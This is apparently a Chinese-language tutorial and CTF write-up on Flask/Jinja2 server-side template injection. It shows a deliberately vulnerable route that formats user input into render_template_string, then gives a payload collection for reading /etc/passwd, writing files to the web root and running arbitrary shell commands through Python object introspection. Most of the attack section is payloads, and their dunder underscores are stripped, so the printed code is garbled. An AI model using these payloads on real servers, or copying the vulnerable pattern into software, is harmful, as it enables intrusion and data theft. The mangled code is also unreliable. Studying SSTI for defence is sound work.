flask模板注入
flask的渲染方法有render_template和render_template_string两种。
- render_template()是用来渲染一个指定的文件的。使用如下
return render_template(‘index.html’) - render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。
使用方法如下
html = ‘This is index page
’
return render_template_string(html)
模板文件并不是单纯的html代码,而是夹杂着模板的语法,因为页面不可能都是一个样子的,有一些地方是会变化的。比如说显示用户名的地方,这个时候就需要使用模板支持的语法,来传参。
例子
from flask import Flask,url_for,redirect,render_template,render_template_string
@app.route('/index/')
def user_login():
return render_template('index.html',content='This is index page.')
/templates/index.html
<h1>{{content}}</h1>
注入
存在漏洞的代码
@app.route('/test/')
def test():
code = request.args.get('id')
html = '''
<h3>%s</h3>
'''%(code)
return render_template_string(html)
- 这段代码存在漏洞的原因是数据和代码的混淆。代码中的code是用户可控的,会和html拼接后直接带入渲染。
- 模板引擎一般都默认对渲染的变量值进行编码转义,这样就不会存在xss了。在这段代码中用户所控的是code变量,而不是模板内容。存在漏洞的代码中,模板内容直接受用户控制的。
知识补充
- 在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。
- 通过python的对象的继承来一步步实现文件读取和命令执行的,找到父类<type ‘object’>–>寻找子类–>找关于命令执行或者文件操作的模块。
1 、获取字符串的类对象
‘’.class
<type ‘str’>
2 、寻找基类
‘’.class.mro
(<type ‘str’>, <type ‘basestring’>, <type ‘object’>)
3 、寻找可用引用,可以看到有一个<type 'file'>
‘a’.class.mro[2].subclasses()
4 、利用之读取到了文件内容
‘’.class.mro[2].subclasses()[40] (’/etc/passwd’).read()
#分析这道题
- 测试是否存在flask漏洞
6*6被计算了,说明可以flask漏洞
2.’’.class.mro[2].subclasses()[71].init.globals[‘os’].system(‘ls’)
3. {{’’.class.mro[2].subclasses()40.read()}}
常见payload收集
//获取基本类
‘’.class.mro[1]
{}.class.bases[0]
().class.bases[0]
[].class.bases[0]
object
//读文件
().class.bases[0].subclasses()[40] (r’C:\1.php’).read()
object.subclasses()[40] (r’C:\1.php’).read()
//写文件
().class.bases[0].subclasses()[40] (’/var/www/html/input’, ‘w’).write(‘123’)
object.subclasses()[40] (’/var/www/html/input’, ‘w’).write(‘123’)
//执行任意命令
().class.bases[0].subclasses()[59].init.func_globals.values()[13][‘eval’](‘import(“os”).popen(“ls /var/www/html”).read()’ )
object.subclasses()[59].init.func_globals.values()[13][‘eval’](‘import(“os”).popen(“ls /var/www/html”).read()’ )